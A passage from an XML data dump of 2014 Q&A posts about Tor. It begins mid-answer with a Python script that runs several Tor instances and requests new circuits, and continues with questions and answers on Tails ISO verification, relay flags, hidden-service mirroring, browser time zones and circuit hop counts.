)])&#xA;&#xA;def print_bootstrap_lines(line):&#xA;    if(&quot;Bootstrapped &quot; in line):&#xA;        print(line)&#xA;&#xA;def checkIP(i):&#xA;    print(&quot;[+] Checking IP Address...&quot;)&#xA;    try:&#xA;        opener = req.build_opener()&#xA;&#xA;        with socks_proxy_context.socks_proxy_context(proxy_address=('127.0.0.1', 9050+i)):&#xA;           res = opener.open('https://internet.yandex.com/get_full_info/', timeout=20.0)&#xA;&#xA;        data = res.read(10000).decode()&#xA;        print(data)&#xA;    except:&#xA;        print(&quot; - Failed.&quot;)&#xA;&#xA;&#xA;def changeIP(i):&#xA;    print(&quot;[+] Changing IP Address... [&quot;+str(i)+&quot;]&quot;)&#xA;    with Controller.from_port(port = 9070+i) as controller:&#xA;        controller.authenticate(_.TOR_PASS_)&#xA;        controller.signal(Signal.NEWNYM)&#xA;&#xA;## Test 3 nodes.&#xA;&#xA;if(__name__==&quot;__main__&quot;):&#xA;    for x in range(0,3):&#xA;        startTor(x)&#xA;        checkIP(x)&#xA;    for x in range(0,3):&#xA;        changeIP(x)&#xA;    for x in range(0,3):&#xA;        checkIP(x)&#xA;        tor_process[x].kill() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To echo what Damian has said below, &lt;strong&gt;&lt;em&gt;don't&lt;/em&gt;&lt;/strong&gt; cycle the TOR servers too fast/too much as it puts strain on the network.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-07-06T05:00:13.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3464" PostTypeId="1" CreationDate="2014-07-06T06:24:36.957" Score="2" ViewCount="370" Body="&lt;p&gt;Downloaded the cryptographic signature corresponding to the ISO image I want to verify, and saved it in the same folder as the ISO image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Started the cryptographic verification: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`MacBook-Pro:ISO Stello$ gpg --keyid-format long --verify tails-i386-1.0.1.iso.sig tails-i386-1.0.1.iso&#xA;gpg: can't open signed data `tails-i386-1.0.1.iso'&#xA;gpg: can't hash datafile: No such file or directory&#xA;MacBook-Pro:ISO Stello$ &#xA;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What it should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd [the ISO image directory]&#xA;gpg --keyid-format long --verify tails-i386-1.0.1.iso.sig tails-i386-1.0.1.iso&#xA;&#xA;gpg: Signature made Sat 30 Apr 2011 10:53:23 AM CEST&#xA;gpg:                using RSA key 1202821CBE2CD9C1&#xA;gpg: Good signature from &quot;Tails developers (signing key) &amp;lt;tails@boum.org&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I imported the Tails key from this same folder and terminal, and found no problem with it.  Folders name is ISO on my desktop. Any suggestions ?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="923" LastEditDate="2014-07-06T16:57:11.423" LastActivityDate="2015-08-21T20:38:08.810" Title="Tails ISO Signature not Showing in Directory" Tags="|tails|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3465" PostTypeId="1" CreationDate="2014-07-06T20:40:23.720" Score="1" ViewCount="39" Body="&lt;p&gt;I've set up a exit, according to consensus-health.torproject.org it got voted Fast and Exit (I guess Flags shown as RED means that they were voted?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was monitoring the relay with arm and realized that my Connections tab was only showing Inbound/Outbound connections and no Exit. So, I checked consensus-health again and the flags were not applied yet (voted 24hrs ago).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it normal that it takes that long for flags to be applied? I've read 'lifecycle of a new relay' and according to it, it's also normal that your relay gets roughly no use in the first 3 days. I was concerned at first because my Advertised Bandwidth was only around 140kb/s -- but I've set no limits and according to the ISP it's 100mbit/s unmetered. I dont think they are throttling, but I will keep an eye on that after the 0-3 day timeframe anyways.&lt;/p&gt;&#xA;" OwnerUserId="3100" LastEditorUserId="923" LastEditDate="2014-07-07T15:38:28.327" LastActivityDate="2014-07-07T15:38:28.327" Title="Voted and applied relay flags" Tags="|flags|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3466" PostTypeId="2" ParentId="3444" CreationDate="2014-07-07T04:22:52.043" Score="0" Body="&lt;p&gt;I just got the same redirect that Roya reported. From &lt;a href=&quot;https://who.is/&quot; rel=&quot;nofollow&quot;&gt;https://who.is/&lt;/a&gt; I get that the IP address is 202.57.128.231, and that the namerservers are ns1.guideball.com and ns2.guideball.com. Browsing 202.57.128.231 shows me the default nginx page (&quot;Welcome to nginx on Fedora!&quot;). But I can hit &lt;a href=&quot;http://www.guideball.com&quot; rel=&quot;nofollow&quot;&gt;http://www.guideball.com&lt;/a&gt;, and maybe there's useful information there (in Thai).&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-07-07T04:22:52.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3468" PostTypeId="1" CreationDate="2014-07-07T09:02:07.110" Score="3" ViewCount="709" Body="&lt;p&gt;If I ran a Tor Hidden Service on a server, would it be possible to mirror it on one or more other servers, and use the same onion-address for all?  I was thinking having the mirror(s) periodically checking the main server, and then start-up it's own Tor-service and http-daemon if it couldn't connect to the main-server for several tries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm really asking, is if it's possible to have several servers reveiling hidden services with &lt;em&gt;exactly&lt;/em&gt; the same onion-address?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's possible, what would I have to copy from the main-server to the mirrors?  Some config-file for Tor?  The main-servers host-keys?&lt;/p&gt;&#xA;" OwnerUserId="1522" LastActivityDate="2014-07-07T16:45:18.203" Title="Is it possible to have more than one server hosting the same Tor Hidden Service?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ClosedDate="2015-04-27T08:59:30.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="3469" PostTypeId="2" ParentId="3468" CreationDate="2014-07-07T16:45:18.203" Score="2" Body="&lt;p&gt;Yes it can be done, you need the domain file,and the key file to enable Tor to start the service with the correct onion domain, you also have to set up your hidden service in the torrc file (copy\paste it, or copy the file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But keep in mind things can stop for a bit if one goes down and the other is starting up, also running both at the same time can cause issues, so make sure your just run one at a time.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-07-07T16:45:18.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3470" PostTypeId="1" CreationDate="2014-07-07T19:06:06.673" Score="3" ViewCount="87" Body="&lt;p&gt;I've got a network with several PC's and one public IP from an ISP. Can I run a relay on one PC and use Tor browser bundle on another PC?&lt;/p&gt;&#xA;" OwnerUserId="3107" LastEditorUserId="923" LastEditDate="2014-07-09T10:50:20.053" LastActivityDate="2014-09-07T21:18:25.387" Title="Can a relay and the Tor browser bundle share one IP?" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3471" PostTypeId="1" CreationDate="2014-07-07T22:36:56.567" Score="2" ViewCount="240" Body="&lt;p&gt;I guess I have a lot of reading to do, but as someone who is not a computer specialist, I often don't understand the instructions.  My main issue is how to use Tor if you have another browser installed on your computer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get my email to open its links in Tor and not safari?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I supposed to uninstall other browsers once I downloaded Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a &quot;what should I do now&quot; page for ordinary people using Tor for the first time?&lt;/p&gt;&#xA;" OwnerUserId="3108" LastEditorDisplayName="user194" LastEditDate="2014-07-11T07:40:37.600" LastActivityDate="2014-07-13T11:23:23.343" Title="So once I download Tor, do I get rid of other browsers?" Tags="|tor-browser-bundle|email|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3472" PostTypeId="1" CreationDate="2014-07-08T02:36:49.667" Score="3" ViewCount="430" Body="&lt;p&gt;If an user changes the number of hops of his/her Tor client to some non-standard number (i.e. !=3), what nodes and who else in the circuit would know how many hops this client is using?.&lt;/p&gt;&#xA;" OwnerUserId="3110" LastEditorUserId="923" LastEditDate="2014-07-09T07:39:01.990" LastActivityDate="2014-07-10T07:39:52.390" Title="Who knows how many hops a client is using?" Tags="|relays|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3474" PostTypeId="1" CreationDate="2014-07-08T03:56:16.137" Score="3" ViewCount="609" Body="&lt;p&gt;If you made USB stick in Linux with the official method, then you first insert the USB stick of Tails Live OS, then run &quot;Disks&quot; from the menu, you can see the USB stick, click it and at the right side of window shows the paragraph about the volumes, click the &quot;play&quot; icon under the &quot;TAILS 1.0.1&quot; partition, then you browse the USB stick by your file browser manager, you can find those files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aa7e6d827404015f66680fd7c8a1675f  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/boot.cat&#xA;a4782a55055ebd999b0d83b47fb1e6e3  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/exithelp.cfg&#xA;40faedcc180edcaabd217216bea67c6b  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/f1.txt&#xA;e6381257dc0acbed8a371abedfe57bdd  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/f2.txt&#xA;2cb10d49a1a826dcd913fec5709db16b  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/f3.txt&#xA;62273f2c8233e4415da83e9bb465e00f  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/f4.txt&#xA;9b5a4384308490355bf8510de43bde03  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/f5.txt&#xA;b4d488f1918b267a356132fbf0bc8569  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/f6.txt&#xA;2085c54656f8b51736f609336aec9e25  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/f7.txt&#xA;0f57ef3a28de79ae37055b564ee73421  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/f8.txt&#xA;df16347faf6dd5eff29970f7bfb6860f  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/f9.txt&#xA;c9b8368b667fe30e7f9663f81900d27d  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/f10.txt&#xA;f7acb783bb996aa0c361773269491b87  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/ifcpu64.c32&#xA;d772fae51e8a50005f259dbe79818572  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/isolinux.bin&#xA;a00d53e8bdb59b2e34d80fa1be86fc16  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/isolinux.cfg&#xA;8ec15b1d41dbc9b30a161f595eecb20d  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/live.cfg&#xA;baaa460483b2309d6b698e5f9eb5f35c  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/live486.cfg&#xA;3eafe584d27211bf29d3708953fd683e  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/liveamd64.cfg&#xA;79843eda78b40b89641d6fc9dcc2a6f3  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/menu.cfg&#xA;c74ec1dfe4a9e72d9e40fba16b385921  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/prompt.cfg&#xA;baea618231e3fe90a50f2b8c5215dcc3  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/splash.png&#xA;f8900fcc2f81364be02cbca165d4c74f  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/stdmenu.cfg&#xA;d8a960e359dc340d09f3713e93e00684  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/tails.cfg&#xA;5a25bff3b63f5fa50b31c1f21c9981f8  /run/media/zilo/TAILS 1.0.1 - 20140608/isolinux/vesamenu.c32&#xA;&#xA;465b0c63b3403decb53c5a4e23e2a1c4  /run/media/zilo/TAILS 1.0.1 - 20140608/live/Tails.module&#xA;f88ffb54f91d9de40a9380ee47e18803  /run/media/zilo/TAILS 1.0.1 - 20140608/live/filesystem.squashfs&#xA;3cb04357546d93897a0d64e30f6af199  /run/media/zilo/TAILS 1.0.1 - 20140608/live/filesystem.packages&#xA;f0bfa94e1d7be45bd8aa42be9bb17fe4  /run/media/zilo/TAILS 1.0.1 - 20140608/live/initrd.img&#xA;df752aec23e730ad0a4f7a0371e45b3a  /run/media/zilo/TAILS 1.0.1 - 20140608/live/initrd2.img&#xA;5fec87fbcb392c400873a148818ba9d2  /run/media/zilo/TAILS 1.0.1 - 20140608/live/vmlinuz&#xA;94d22a17603113a22a2b5c2f56712b76  /run/media/zilo/TAILS 1.0.1 - 20140608/live/vmlinuz2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you make the iso in Windows, you just need to open the directory in USB stick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do you have the same MD5Checksum?&#xA;My downloaded ISO file are different with the checksum, what's the files inside? Is that safe to use this USB stick made by this ISO?&lt;/p&gt;&#xA;" OwnerUserId="3111" LastEditorUserId="71" LastEditDate="2015-04-27T21:06:06.163" LastActivityDate="2015-04-27T21:06:06.163" Title="Tails Live CD checksum" Tags="|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3475" PostTypeId="1" CreationDate="2014-07-08T08:28:20.840" Score="0" ViewCount="176" Body="&lt;p&gt;Are there any freely available resources for, or papers regarding Tor benchmarks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am specifically looking for things such as average number of circuit creation operations that a single onion-router can handle per second. Or the average bandwidth of an onion-router.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastEditorDisplayName="user6671" LastEditDate="2019-02-10T18:22:02.603" LastActivityDate="2019-02-10T18:22:02.603" Title="Tor benchmark resources" Tags="|bandwidth|performance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3476" PostTypeId="1" AcceptedAnswerId="3477" CreationDate="2014-07-08T09:47:31.313" Score="3" ViewCount="736" Body="&lt;p&gt;I've recently started running a Tor relay. However, upon further investigation I realized that I enable criminals and people of poor moral character to host hidden tor services where they publish pictures/videos of rape, child pornography, GF revenge photos, stolen credit cards and goods, botnet cnc, etc, with impunity and without legal consequences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prevent my Tor node from being used to access all hidden services? I run Tor so people in less fortunate countries have full access to information (like news, Wikipedia, etc) and avoid total government surveillance. But I don't want to support criminal behavior.&lt;/p&gt;&#xA;" OwnerUserId="3112" LastActivityDate="2014-07-10T10:23:21.913" Title="How can I prevent my Tor relay from being used to access hidden services?" Tags="|onion-services|relays|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3477" PostTypeId="2" ParentId="3476" CreationDate="2014-07-08T10:38:28.237" Score="2" Body="&lt;p&gt;I've searched around and I'm not sure if such a thing is possible (please correct me if I'm wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of running a regular relay you &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow&quot;&gt;may want to run a bridge relay instead&lt;/a&gt;.&#xA;Bridges aren't advertised in the main Tor directory, so their likelihood of being used as rendezvous points for hidden services is little to nothing.&#xA;Additionally, their purpose, to help people for who regular Tor access is blocked, aligns with your beliefs.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-07-08T10:38:28.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3478" PostTypeId="2" ParentId="3471" CreationDate="2014-07-08T11:17:37.130" Score="2" Body="&lt;p&gt;Those are lot of questions fired in one single post please ask some questions separately for you to get perfect answers. If I just stuff all these answers in a single paragraph  then you will not read nor you will understand even if tried to due to complexity .(lack of rep forces me to keep this which should be there as a comment  to your question)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my humble request is to first check in the search bar for you questions if not answered then ask them separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I will be answering only the main questions to get you started .&#xA;After you have installed the tor browser your need to configure it properly.In order to use it to open blocked /censored content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simple browsing you can directly open the tor  browser(through the browser bundle which opens up by connecting to tor automatically) but if you want to open mail clients like Gmail you might or might not be able to open it because Gmail allows login only through Cache enabled browsers but in this case your browser will have max disabled settings in order to browse anonymously to a great extent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And coming to get rid of other browsers my suggestion would be no. In case you have not configured properly or cannot open some site which Is open generally (not blocked) then your other browsers will come handy. So please always make one browser as backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As last resort for you still not following the above follow this &lt;a href=&quot;http://torproject.org.in/dist/manual/short-user-manual_en.xhtml&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2014-07-08T11:17:37.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3479" PostTypeId="1" CreationDate="2014-07-08T13:10:22.807" Score="3" ViewCount="254" Body="&lt;p&gt;I have 3 mail accounts on thunderbird that connect to respective pop servers through torbirdy. I need to access one of these mail accounts without Tor for legal reasons. I have looked in my account settings and torbirdy preferences to make this possible (disable torbirdy for a particular account), but haven't found a solution. Is there some way to configure torbirdy/thunderbird to channel only 2 accounts via Tor and the third using conventional internet. Please help, I am a noob at this.&lt;/p&gt;&#xA;" OwnerUserId="3113" LastEditorUserId="923" LastEditDate="2014-07-08T16:53:56.783" LastActivityDate="2014-07-13T03:16:45.183" Title="How to disable access to a particular account via torbirdy" Tags="|torbirdy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3480" PostTypeId="2" ParentId="3471" CreationDate="2014-07-08T14:12:32.987" Score="2" Body="&lt;p&gt;That depends on what your goal is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browsing the web via Tor is a lot slower than browsing it normally. Also, there are websites which block access from Tor to avoid abuse. When you decide to use only Tor from now on, you will no longer be able to use these websites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether or not to completely abstain from browsing the web without Tor is a decision you have to make depending on your personal privacy requirements. Maybe you want nobody to be able to know anything about your internet activity. In that case you would uninstall all other browsers and use only the Tor browser from now on. Or maybe you just want to circumvent a block or surveillance on a handfull of websites, in which case you would only use Tor for these and browse the rest of the web normally. Only you know how much privacy you need, so I can not tell you what to do in this regard.&lt;/p&gt;&#xA;" OwnerUserId="3115" LastEditorUserId="923" LastEditDate="2014-07-08T16:59:30.590" LastActivityDate="2014-07-08T16:59:30.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3481" PostTypeId="1" CreationDate="2014-07-08T14:55:18.627" Score="1" ViewCount="91" Body="&lt;p&gt;First of all thanks for the time spent on this project, I really appreciate! From where can I download the version who shows/leaks timezone and date? I tried installing older versions but all of them are showing GMT +0000 (UTC)...or better is there a way to change the time that Tor browser shows?&lt;/p&gt;&#xA;" OwnerUserId="3116" LastEditorUserId="923" LastEditDate="2014-07-08T17:01:48.497" LastActivityDate="2014-07-08T17:01:48.497" Title="Tor broswer time zone leak java version" Tags="|time|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3482" PostTypeId="1" CreationDate="2014-07-08T18:21:01.523" Score="2" ViewCount="8460" Body="&lt;p&gt;Is there a way to change the time zone displayed by the Tor browser? I seen that, it is set +0 UTC for everyone.&lt;/p&gt;&#xA;" OwnerUserId="3117" LastEditorUserId="923" LastEditDate="2014-07-09T09:41:29.997" LastActivityDate="2019-12-28T12:51:13.953" Title="How to change Tor browser time zone" Tags="|tor-browser-bundle|time|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3483" PostTypeId="1" CreationDate="2014-07-09T00:15:23.147" Score="3" ViewCount="137" Body="&lt;p&gt;I am currently reading the specification for rendezvous point and one little point has got me confused. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When constructing a packet to send to from Alice's OP to Introduction Point it asks for the  Rendezvous point identity ID, I have not found this in any other of the Tor specification, could some one shed some light on what this is, is it simply the identity or identity hash of the Rendezvous point?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;628         OR (in the v2 intro protocol)&#xA; 629           VER    Version byte: set to 2.        [1 octet]&#xA; 630           IP     Rendezvous point's address    [4 octets]&#xA; 631           PORT   Rendezvous point's OR port    [2 octets]&#xA; 632           ID     Rendezvous point identity ID [20 octets]&#xA; 633           KLEN   Length of onion key           [2 octets]&#xA; 634           KEY    Rendezvous point onion key [KLEN octets]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also could anyone expand on what the identitier for Bob's PK is, I am using the v2 method. Is this the onion address I am trying to  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;617        Cleartext&#xA; 618           PK_ID  Identifier for Bob's PK      [20 octets]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="5191" LastEditDate="2014-10-08T20:36:06.803" LastActivityDate="2014-10-08T20:36:06.803" Title="what is the Rendezvous point identity ID" Tags="|onion-services|fingerprinting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3484" PostTypeId="1" CreationDate="2014-07-09T04:50:38.773" Score="2" ViewCount="3225" Body="&lt;p&gt;I am planning to develop an application that must use Tor network connection. I am connecting with Tor browser bundle and then using the socket(9050/9150/whatever). Now I want to connect to Tor network directly without Tor browser bundle. Is it possible. If so, please someone help me.&lt;/p&gt;&#xA;" OwnerUserId="3121" LastEditorUserId="88" LastEditDate="2014-07-11T22:43:18.967" LastActivityDate="2022-06-07T12:15:33.247" Title="Connecting to Tor network through any Application/Script without installing Tor browser bundle?" Tags="|socks|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3485" PostTypeId="2" ParentId="3476" CreationDate="2014-07-09T12:05:57.570" Score="0" Body="&lt;p&gt;You may run an exit node. Hidden services do not go through exit nodes (I believe, correct me if I am wrong). This may alleviate your concern.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-09T17:45:13.853" LastActivityDate="2014-07-09T17:45:13.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3487" PostTypeId="1" AcceptedAnswerId="3509" CreationDate="2014-07-09T15:19:03.547" Score="2" ViewCount="205" Body="&lt;p&gt;What IDE can I use to edit Tor source code as a single project?  Can I use Eclipse with C/C++? I tried it with Eclipse but I get errors : &quot;some type not dedined.&quot;&#xA;Which IDE is best to edit Tor source?&lt;/p&gt;&#xA;" OwnerUserId="3119" LastActivityDate="2014-07-11T04:12:16.087" Title="IDE to edit Tor source" Tags="|source-code|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3488" PostTypeId="1" AcceptedAnswerId="3526" CreationDate="2014-07-09T15:24:30.537" Score="4" ViewCount="1999" Body="&lt;p&gt;Is there any way I can see what each file does in Tor source code? A simple file with a list for example?I do not want to read and surf through whole code.&lt;/p&gt;&#xA;" OwnerUserId="3119" LastActivityDate="2014-07-11T21:25:32.047" Title="Tor source code brief explanation" Tags="|source-code|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3490" PostTypeId="2" ParentId="3476" CreationDate="2014-07-09T20:04:07.827" Score="0" Body="&lt;p&gt;I don't think you can control whether a relay is used in circuits to hidden services vs. only in circuits to exit nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But also..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] I enable criminals and people of poor moral character [...] I run Tor so people in less fortunate countries have full access to information [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By running a relay, you enable people who don't want to be identified or located and who don't want anyone other than the intended recipient see their data. It is important that this can be achieved, so therefor it is a Good Thing to run Tor relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a little bit of a stretch that access to a HS enables criminals and access to non-hidden services does not. It follows the logic that something must be bad if it is hidden, otherwise why would you hide it? (&lt;strong&gt;*&lt;/strong&gt;) Not only is this logic flawed (if A implies B and B is true, you can not conclude that A must be true) is it also very scary when it comes to privacy and freedom. (You could apply that same logic to those people in those less fortunate countries, who by the way may well be criminals from the point of view of their own governments.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal take is to not speculate or pass judgment on the data that may flow through my relay. There may be some nastiness in there but that doesn't mean it should be impossible to keep your identity / location / traffic / data private.&#xA;&lt;hr&gt;&#xA;&lt;strong&gt;*&lt;/strong&gt;) ..altho you're probably correct that HS' would on average have a higher percentage of content that you would object to than the web as a whole. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-07-09T20:04:07.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3491" PostTypeId="2" ParentId="3470" CreationDate="2014-07-09T20:23:57.923" Score="2" Body="&lt;p&gt;Yes you can. You can even run TBB and a separate relay on the same machine (but then you have to make sure they don't both try to listen on the same port as a socks proxy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor instance that TBB runs only listens on port 9151 as a socks proxy for the browser. &#xA;Your Tor relay listens to an OR port and optionally also a Dir port. You can specify those in your torrc. In your router you should forward your OR and Dir ports to the machine that runs the relay.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-07-09T20:23:57.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3492" PostTypeId="2" ParentId="3472" CreationDate="2014-07-09T20:37:19.717" Score="1" Body="&lt;p&gt;I am not sure on this, so someone who knows should confirm or correct, but as I understand, only the client knows, unless you use just a single hop, in which case everybody knows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It goes like this: The &lt;strong&gt;guard&lt;/strong&gt; relay can see the difference between an incoming connection &lt;em&gt;from a client&lt;/em&gt; vs. from &lt;em&gt;another relay&lt;/em&gt;. (&amp;lt;--This is this thing I'm not 100% on.) The &lt;strong&gt;exit&lt;/strong&gt; relay obviously knows the difference between an outgoing connection &lt;em&gt;to a final destination&lt;/em&gt; vs. to &lt;em&gt;another relay&lt;/em&gt;. If the &lt;strong&gt;guard&lt;/strong&gt; relay is the &lt;em&gt;same&lt;/em&gt; as the &lt;strong&gt;exit&lt;/strong&gt; relay, then it knows that the number of hops is &lt;em&gt;one&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-07-09T20:37:19.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3493" PostTypeId="2" ParentId="3475" CreationDate="2014-07-09T20:48:42.997" Score="2" Body="&lt;p&gt;You can find average bandwidth over time for each relay on &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt; and &lt;a href=&quot;http://globe.rndm.de/&quot; rel=&quot;nofollow&quot;&gt;Globe&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Metrics on the network as a whole are here: &lt;a href=&quot;https://metrics.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://metrics.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-07-09T20:48:42.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3494" PostTypeId="2" ParentId="3475" CreationDate="2014-07-09T21:00:35.133" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://freehaven.net/anonbib/&quot; rel=&quot;nofollow&quot;&gt;Anonymity Bib&lt;/a&gt; contains some papers which deal which measurements of Tor. Maybe they can help you too.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-09T21:00:35.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3495" PostTypeId="1" AcceptedAnswerId="3523" CreationDate="2014-07-09T21:58:31.660" Score="1" ViewCount="171" Body="&lt;p&gt;Could the number of hops picked in a given circuit be chosen randomly. For example randomly generate a number by random number generator between 3 and 7 inclusively [3,4,5,6,7], and each circuit created for an instance of Tor randomly choose number of hops it uses based on the output of random number generator for regular sites. For hidden services let's say generate a number between 6 and 7 inclusively [6,7] and each circuit randomly pick a number of hops based on the output of random number generator. Does Tor support such a scheme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. For sake of simplicity let's assume one choose a uniform distribution function for random number generator, which means equal chance of picking each number.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-11T02:57:28.670" LastActivityDate="2014-07-12T15:43:50.200" Title="Could the number of hops picked in a circuit be chosen randomly in each circuit?" Tags="|relays|random|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
